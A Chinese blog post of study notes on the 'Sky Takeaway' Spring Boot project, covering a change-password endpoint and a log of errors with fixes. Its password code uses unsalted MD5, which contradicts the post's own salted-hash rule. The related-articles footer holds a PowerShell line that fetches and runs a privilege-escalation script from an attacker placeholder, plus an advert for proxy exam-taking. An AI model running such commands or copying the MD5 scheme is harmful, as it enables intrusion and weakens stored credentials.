苍穹外卖笔记-18-修改密码、bug记录

文章目录

    • 1 修改密码
      • 1.1 需求分析和设计
      • 1.2 代码实现
        • 1.2.1 admin/EmployeeController
        • 1.2.2 EmployeeService
        • 1.2.3 EmployeeServiceImpl
      • 1.3 功能测试
    • 2 bug记录

1 修改密码

完结的时候发现还有一个接口未实现。这里补充

在这里插入图片描述

1.1 需求分析和设计

产品原型:

在这里插入图片描述

业务规则:
身份验证:在修改密码之前,需要验证用户的身份。这通常涉及到输入当前的密码,以证明用户有权限修改密码。

密码复杂度要求:新密码应该满足一定的复杂度要求,比如长度、大小写字母、数字和特殊字符的组合等。

密码加密存储:密码在存储时应该进行加密处理,比如使用哈希加盐的方式,以防止密码泄露后被轻易破解。

异常处理:在密码修改过程中,应该有适当的异常处理机制,比如密码不匹配时的友好提示,或者密码修改失败时的错误信息。

接口设计:
在这里插入图片描述

package com.sky.dto;import lombok.Data;import java.io.Serializable;@Data
public class PasswordEditDTO implements Serializable {//员工idprivate Long empId;//旧密码private String oldPassword;//新密码private String newPassword;}

1.2 代码实现

1.2.1 admin/EmployeeController
    /*** 修改密码** @param passwordEditDTO* @return* @throws Exception*/@PutMapping("/editPassword")@ApiOperation("修改密码")public Result editPassword(@RequestBody PasswordEditDTO passwordEditDTO){log.info("修改密码:{}", passwordEditDTO);employeeService.editPassword(passwordEditDTO);return Result.success();}
1.2.2 EmployeeService
    /*** 更新员工信息* @param employeeDTO*/void update(EmployeeDTO employeeDTO);
}
1.2.3 EmployeeServiceImpl
/*** 编辑员工密码** @param passwordEditDTO*/@Overridepublic void editPassword(PasswordEditDTO passwordEditDTO) {String oldPassword = passwordEditDTO.getOldPassword();String newPassword = passwordEditDTO.getNewPassword();//获取员工idLong empId = BaseContext.getCurrentId();//1.根据id查询员工信息Employee employee = employeeMapper.getById(empId);//2. 密码比对String encryptedOldPassword = DigestUtils.md5DigestAsHex(oldPassword.getBytes());if (!encryptedOldPassword.equals(employee.getPassword())) {//密码错误throw new PasswordErrorException(MessageConstant.PASSWORD_ERROR);}//3. 更新密码String encryptedNewPassword = DigestUtils.md5DigestAsHex(newPassword.getBytes());employee.setPassword(encryptedNewPassword);employee.setUpdateTime(LocalDateTime.now());employee.setUpdateUser(empId);employeeMapper.update(employee);}

1.3 功能测试

在这里插入图片描述

2 bug记录

o.s.web.servlet.PageNotFound : No mapping for PUT /user/order/cancel/8
检查Controller中路径是否出错,函数是否放错位(写在其他XxxxController)

Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.IllegalStateException: Optional int parameter ‘pageNum’ is present but cannot be translated into a null value due to being declared as a primitive type. Consider declaring it as object wrapper for the corresponding primitive type.] with root cause
java.lang.IllegalStateException: Optional int parameter ‘pageNum’ is present but cannot be translated into a null value due to being declared as a primitive type. Consider declaring it as object wrapper for the corresponding primitive type.
存在可选int参数’pageNum’,但由于被声明为基本类型,因此无法转换为空值。考虑将其声明为对应基本类型的对象包装器

//Controller中命名page
public Result<PageResult>page(int page,intpageSize,Integerstatus){
PageResultpageResult=orderService.pageQueryUser(page,pageSize,status);
returnResult.success(pageResult);
//Service中命名pageNum
Page Result pageQueryUser(int pageNum,intpageSize,Integerstatus);

ERROR 29228 — [nio-8080-exec-9] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.RuntimeException: 无效的密钥格式] with root cause
java.lang.RuntimeException: 无效的密钥格式
微信小程序没有密钥

ERROR 8716 — [io-8080-exec-10] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.reflection.ReflectionException: There is no getter for property named ‘user_id’ in ‘class com.sky.entity.Orders’] with root cause
在这里插入图片描述

Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.springframework.data.redis.RedisConnectionFailureException: Unable to connect to Redis; nested exception is io.lettuce.core.RedisConnectionException: Unable to connect to localhost/:6379] with root cause
启动Redis

org.springframework.data.redis.serializer.SerializationException: Cannot deserialize; nested exception is org.springframework.core.serializer.support.SerializationFailedException: Failed to deserialize payload. Is the byte array a result of corresponding serialization for DefaultDeserializer?; nested exception is java.io.EOFException

这个错误表明在尝试对 Redis 中的数据进行反序列化时出现了问题。根据错误信息,这可能是由于尝试反序列化不完整的字节数组导致的。
在处理这个问题时,有几种可能的解决方案:

  1. 检查数据完整性: 确保在进行序列化和存储数据时,数据没有发生截断或丢失。这可能需要检查数据的存储和读取过程,以确保整个字节数组都被正确地写入和读取。
  2. 检查序列化器配置: 确保在 RedisTemplate 或其他涉及到序列化的地方,所使用的序列化器是正确配置的。你需要保证数据的序列化和反序列化使用的是相同的序列化器。
  3. 检查数据格式: 确保反序列化操作的目标对象与实际存储的数据格式相匹配。如果你对存储的数据进行了更改,可能需要更新代码来处理新的数据结构。
  4. 排查数据内容: 如果可能的话,检查实际存储在 Redis 中的数据内容。有时候问题可能源于存储了不符合预期格式的数据。
    最后,请确保在处理 Redis 数据时,采用了健壮的异常处理机制,以便能够更好地理解和排查潜在的数据问题。
    希望这些信息能够帮助你解决问题。如果你需要更多帮助,欢迎随时与我联系。
com.sky.config
//设置rediskey的序列化器
redisTemplate.setKeySerializer(newStringRedisSerializer());
//设置redisvalue的序列化器
redisTemplate.setValueSerializer(newStringRedisSerializer());
//设置redishash的序列化器
redisTemplate.setHashValueSerializer(newStringRedisSerializer());

Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is java.lang.ClassCastException: java.lang.Integer cannot be cast to java.lang.String] with root cause{ “timestamp”: 1717330318869, “status”: 500, “error”: “Internal Server Error”, “path”: “/admin/shop/1” }
java.lang.Integer cannot be cast to java.lang.String
Fitten Code
根据你提供的错误信息,看起来在处理请求 “/admin/shop/1” 时发生了内部服务器错误。具体的错误根本原因是 “java.lang.ClassCastException: java.lang.Integer cannot be cast to java.lang.String”。
这个错误通常表示代码试图将一个整数类型的数据转换为字符串类型时出现了类型转换错误。根据报错的上下文,可能是在将整数类型的数据用作字符串处理时出现了问题。
可能的问题点:

  1. 路径参数处理错误: 如果你的代码中使用了路径参数来表示商品或店铺的标识,而在处理路径参数时出现了类型转换错误,就会抛出这个异常。需要检查对路径参数的解析和使用是否正确。
  2. 数据操作错误: 如果你从数据源(比如数据库、缓存等)中取出了某个整数类型的值,并且尝试将其作为字符串使用,也会出现这个错误。需要确保在操作数据时进行了正确的类型转换。
    要解决这个问题,你需要根据具体的业务逻辑和异常发生的上下文来检查代码,并确保数据类型的正确使用。
    在这里插入图片描述
    不写范型就行
    在这里插入图片描述

APPLICATION FAILED TO START


Description:
Failed to bind properties under ‘sky.wechat.appid’ to java.lang.String:

Property: sky.wechat.appid
Value: "${sky.wechat.appid}"
Origin: class path resource [application.yml] - 58:12
Reason: java.lang.IllegalArgumentException: Circular placeholder reference 'sky.wechat.appid' in property definitions

Action:
Update your application’s configuration
Process finished with exit code 1

!!! 这个问题就看看application的配置!!!

2024-06-11 19:26:06.852 ERROR 32748 — [nio-8080-exec-1] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing failed; nested exception is org.mybatis.spring.MyBatisSystemException: nested exception is org.apache.ibatis.reflection.ReflectionException: There is no getter for property named ‘user_id’ in ‘class com.sky.entity.ShoppingCart’] with root cause

这个异常表明在处理请求时发生了错误,具体而言是因为MyBatis无法找到名为 ‘user_id’ 的属性的 getter 方法。可能有几个原因会导致这种情况:
3. 属性名错误:确保你的实体类 com.sky.entity.ShoppingCart 中存在名为 ‘user_id’ 的属性,并且有对应的 getter 方法。
4. 配置错误:检查你的 MyBatis 映射文件,以确保正确地映射了数据库列和实体类的属性,包括 ‘user_id’。
5. 数据库查询错误:如果你在执行 SQL 查询时指定了 ‘user_id’,但实际上实体类中并不存在该属性,就会导致这个问题。
为了排除这个问题,可以按照以下步骤进行排查:
• 确保实体类 com.sky.entity.ShoppingCart 中存在名为 ‘user_id’ 的属性,并且有对应的 getter 方法。
• 检查 MyBatis 映射文件(通常是 XML 文件)中,与 ‘user_id’ 相关的属性映射是否正确。
• 跟踪具体的请求处理流程,确认是在哪个环节出现了这个异常,有助于定位问题所在。
一旦找到了问题所在,针对性地进行修复即可。如果以上方法仍无法解决问题,可能需要进一步检查程序的逻辑和配置,或者提供更多的代码和细节信息进行分析。

D:\Code\Course\java-learning\sky-take-out\sky-server\src\main\java\com\sky\service\impl\AddressBookServiceImpl.java:5:22 java: 找不到符号 符号: 类 AddressBookMapper 位置: 程序包 com.sky.mapper D:\Code\Course\java-learning\sky-take-out\sky-server\src\main\java\com\sky\service\impl\AddressBookServiceImpl.java:6:23 java: 找不到符号 符号: 类 AddressBookService 位置: 程序包 com.sky.service D:\Code\Course\java-learning\sky-take-out\sky-server\src\main\java\com\sky\service\impl\AddressBookServiceImpl.java:15:48 java: 找不到符号 符号: 类 AddressBookService D:\Code\Course\java-learning\sky-take-out\sky-server\src\main\java\com\sky\service\impl\AddressBookServiceImpl.java:17:13 java: 找不到符号 符号: 类 AddressBookMapper 位置: 类 com.sky.service.impl.AddressBookServiceImpl
Fitten Code
这些错误表明编译器无法找到名为 AddressBookMapper 和 AddressBookService 的类和接口。这通常是因为编译器无法在指定的位置找到所需的类或接口。
在大多数情况下,这种错误是由以下原因引起的:
6. 包名错误:确保 AddressBookMapper 和 AddressBookService 类在正确的包中。在你的示例中,它们应该分别位于 com.sky.mapper 和 com.sky.service 包下。
7. 缺失依赖:检查你的项目依赖,确保相关的包或模块已经正确导入并设置为依赖项。
8. 编译路径错误:有时编译器无法在指定的路径中找到所需的类或接口。确保你的编译路径配置正确,并包含了这些类和接口所在的位置。
9. 类或接口未定义:最显而易见的情况是这些类和接口可能确实未定义。在这种情况下,你需要创建它们或者从其他地方获取它们的定义。
下面是一个可能的排查步骤:
• 确保 AddressBookMapper 和 AddressBookService 类分别位于 com.sky.mapper 和 com.sky.service 包中,并且包名和类名的大小写拼写与代码中的引用一致。
• 检查项目的依赖配置,确保相关的包或模块已经正确导入并设置为依赖项。
• 确保编译路径配置正确,包含了这些类和接口所在的位置。
• 如果以上步骤都正确无误,但问题依然存在,可能需要检查是否缺少了必要的依赖项,或者类和接口未被正确定义。
通过排查这些可能引起问题的原因,你应该能够定位并解决编译错误。

导入新功能代码,重新打开Maven在sky_take_out使用compile一下

2024-06-12 15:40:55.795 ERROR 15856 — [ main] o.s.b.d.LoggingFailureAnalysisReporter : *************************** APPLICATION FAILED TO START *************************** Description: Field orderService in com.sky.controller.user.OrderController required a bean of type ‘com.sky.service.OrderService’ that could not be found. The injection point has the following annotations: - @org.springframework.beans.factory.annotation.Autowired(required=true) Action: Consider defining a bean of type ‘com.sky.service.OrderService’ in your configuration. Disconnected from the target VM, address: ‘127.0.0.1:57369’, transport: ‘socket’ Process finished with exit code 1
Fitten Code
这个错误信息表明 Spring 在启动应用程序时无法找到类型为 com.sky.service.OrderService 的 bean。通常情况下,这种错误是由缺少 bean 的定义或者扫描路径错误引起的。
要解决这个问题,你可以尝试以下几个步骤:

  1. 确认 Service 类被正确扫描和组件化: 确保 com.sky.service.OrderService 类上使用了 @Service 注解或者被正确标记为组件。在 Spring Boot 应用中,通常使用了 @SpringBootApplication 的类所在的包及其子包将会被自动扫描,你需要确保 com.sky.service.OrderService 类在扫描路径下。
  2. 查看是否存在正确的 bean 配置: 确保在配置类(如使用 @Configuration 注解的类)或者 XML 配置文件中存在了 com.sky.service.OrderService 类的 bean 配置。
  3. 排查依赖注入位置: 如果 @Autowired 注解标记的地方并非预期的位置,可能会出现这种错误。请检查 orderService 字段所在的类,确认它是否应该被注入为一个 bean。
  4. 查看启动日志: 在启动日志中查看是否有针对 bean 扫描和自动配置相关的日志,有时会通过日志信息找到问题所在。
  5. 手动创建 bean: 如果以上步骤都不能解决问题,你可以尝试手动在配置类中创建 com.sky.service.OrderService 的 bean。
    基于以上步骤,你可以逐一排查是否缺少了对 com.sky.service.OrderService 的正确定义。一旦找到了问题所在,并修复了配置,你的应用程序应该可以成功启动了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/28954.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CMake从安装到精通

目录 引言 1. CMake的安装 2. CMake的原理 3. CMake入门 3.1 CMakeLists.txt与注释 3.2 版本指定与工程描述 3.3 生成可执行程序 3.4 定义变量与指定输出路径 3.5 指定C标准 3.6 搜索文件 3.7 包含头文件 4. CMake进阶 4.1 生成动静态库 4.2 链接动静态库 4.…

CTFshow之RCE代码命令远程执行第49关详细讲解。可私信!

棺材里伸手&#xff0c;死要钱&#xff01; --古吉拉特邦 莫迪大仙 引言&#xff1a;由于有些题目实在是让人抓挠&#xff0c;我看完题解后难以接受知识机械的执行获取flag&#xff0c;所以我想着尽可能用我的语言去进行解释&#xff01; 由于是验证猜想实验&#xff0c;所以…

代发考生战报:HCIP H12-725安全变题了

代发考生战报&#xff1a;HCIP H12-725安全变题了&#xff0c;幸好当天找客服办理的包过服务&#xff0c;听同考场的考生说&#xff0c;考试全是新题&#xff0c;只有1-2个是题库上的题&#xff0c;自己考的都考挂了&#xff0c;帮我答题的老师很厉害&#xff0c;很赞&#xff…

GenICam标准(二)

系列文章目录 GenICam标准&#xff08;一&#xff09; GenICam标准&#xff08;二&#xff09; GenICam标准&#xff08;三&#xff09; GenICam标准&#xff08;四&#xff09; GenICam标准&#xff08;五&#xff09; GenICam标准&#xff08;六&#xff09; 文章目录 系列文…

RAG与Langchain简介

RAG与Langchain简介 什么是RAGRAG解决的问题RAG工作流程RAG调优策略LangChain简介 什么是RAG 检索增强生成&#xff08;Retrieval-Augmented Generation&#xff09;&#xff0c;主要是通过从外部给大模型补充一些知识&#xff0c;相当于给模型外挂了一个知识库&#xff0c;让…

单片机(STM32)与上位机传输浮点数

目录 单片机(STM32)与上位机传输数据的方法1. 传输整形数据2. 传输浮点数据3. 如何打包与解包 单片机(STM32)与上位机传输数据的方法 在进行单片机程序的开发时&#xff0c;常常需要与其他设备进行通信。一种情况是与其他电路板通信&#xff0c;比如STM32主机与STM32从机通信&…

胡说八道(24.6.9)——离散时间系统及simulink仿真

上回说道拉普拉斯变换的定义、性质以及在电路分析中的应用。今天先来谈谈simulink仿真&#xff0c;可为是让我非常的震惊&#xff0c;今天做了三种模型的应用。第一个是simulink中有限状态机的应用&#xff0c;用来解决一些复杂的逻辑问题&#xff0c;实现状态之间的转换。第一…

Pytorch深度解析:Transformer嵌入层源码逐行解读

前言 本部分博客需要先阅读博客&#xff1a; 《Transformer实现以及Pytorch源码解读&#xff08;一&#xff09;-数据输入篇》 作为知识储备。 Embedding使用方式 如下面的代码中所示&#xff0c;embedding一般是先实例化nn.Embedding(vocab_size, embedding_dim)。实例化的…

双绞线(网线)的制作与测试

实验目的 1、熟悉常用双绞线&#xff08;网线&#xff09;及其制作工具的使用&#xff1b; 2、掌握非屏蔽双绞线的直通线、交叉线的制作及连接方法&#xff1b; 3、掌握双绞线连通性的测试。 设备要求&#xff1a;RJ45压线钳&#xff0c;RJ45水晶头&#xff0c;UTP线缆&…

小白 | windows提权

1.CVE-2016-0099 (MS16-032) 这是一个Windows内核特权提升漏洞&#xff0c;利用该漏洞可以获得系统权限。 # 使用公开的POC进行利用&#xff0c;如 powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(http://<attacker_ip>/Invoke-MS16-032.ps1)…

LSTM模型预测时间序列

长短期记忆模型(Long Short-Term Memory, LSTM)&#xff0c;是一种特殊的循环神经网络&#xff0c;能够学习长期依赖性。长短期记忆模型在各种各样的问题上表现非常出色&#xff0c;现在被广泛使用&#xff0c;例如&#xff0c;文本生成、机器翻译、语音识别、时序数据预测、生…

经典老款双运放NE5532

1 产品特点 等效输入噪声电压&#xff1a; 5nV H z \sqrt[]{ Hz} Hz ​&#xff08;典型值&#xff0c;1 kHz&#xff09; 单位增益带宽&#xff1a;10 MHz &#xff08;典型值&#xff09; 共模抑制比&#xff1a;100 dB &#xff08;典型值&#xff09; 高直流电压增益&…

【Python高级编程】Pickle实现AI算法训练的权重数据的保存

任务描述 代码实现 import pickle import time import os import numpy as np# 模拟耗时的权重计算过程 def calculate_weights():print("开始计算权重...")time.sleep(5) # 模拟耗时操作&#xff0c;暂停5秒以模拟计算过程weights np.random.rand(10, 10) # 随机…

AI产品经理,应掌握哪些技术?

美国的麻省理工学院&#xff08;Massachusetts Institute of Technology&#xff09;专门负责科技成果转化商用的部门研究表明&#xff1a; 每一块钱的科研投入&#xff0c;需要100块钱与之配套的投资&#xff08;人、财、物&#xff09;&#xff0c;才能把思想转化为产品&…

flutter开发实战-创建一个微光加载效果

flutter开发实战-创建一个微光加载效果 当加载数据的时候&#xff0c;loading是必不可少的。从用户体验&#xff08;UX&#xff09;的角度来看&#xff0c;最重要的是向用户展示加载正在进行。向用户传达数据正在加载的一种流行方法是在与正在加载的内容类型近似的形状上显示带…

货代小白快来收藏‼️普货与非普货的区别

普货是指不属于以下类别的普通货物 危险品 冷冻/冷藏品 违禁品 仿牌货 敏感货 危险品 危险品具体分为九类&#xff1a; 爆炸品 压缩气体 易燃液体 易燃固体、易燃物品和遇湿易燃物品 氧化剂和有机氧化物 有毒和感染性物品 放射性 腐蚀性 杂类 冷冻/冷藏品 主要是指以食品为主的…

简述spock以及使用

1. 介绍 1.1 Spock是什么&#xff1f; Spock是一款国外优秀的测试框架&#xff0c;基于BDD&#xff08;行为驱动开发&#xff09;思想实现&#xff0c;功能非常强大。Spock结合Groovy动态语言的特点&#xff0c;提供了各种标签&#xff0c;并采用简单、通用、结构化的描述语言…

php配合fiddler批量下载淘宝天猫商品数据分享

有个做电商的朋友问我,每次上款,需要手动去某宝去搬运商品图片视频,问我能不能帮忙写个脚本,朋友开口了,那就尝试一下 首先打开某宝,访问一款商品,找出他的数据来源 通过观察我们发现主图数据来这个接口输出 h5api.m.taobao.com/h5/mtop.taobao.pcdetail.data.get/1.0 …

如何学习创建和使用 Java 归档(JAR)文件

1. 简介 JAR&#xff08;Java ARchive&#xff09;文件是一种用于打包多个Java类、资源文件和元数据的压缩文件格式。它在Java开发和发布过程中扮演着重要角色。通过使用JAR文件&#xff0c;开发者可以将应用程序的所有组件打包在一个文件中&#xff0c;方便分发和部署。 2. …

世界森林覆盖率分布图

原文链接https://mp.weixin.qq.com/s?__bizMzUyNzczMTI4Mg&mid2247680287&idx1&sn6ac57fa7472fc58cad1d5ab11b1d6b3b&chksmfa775e22cd00d7341e4f59d52221fb7f9a8e2d83602ab58719481af66b2f3b153c57f01c68bb&token808263816&langzh_CN&scene21#wec…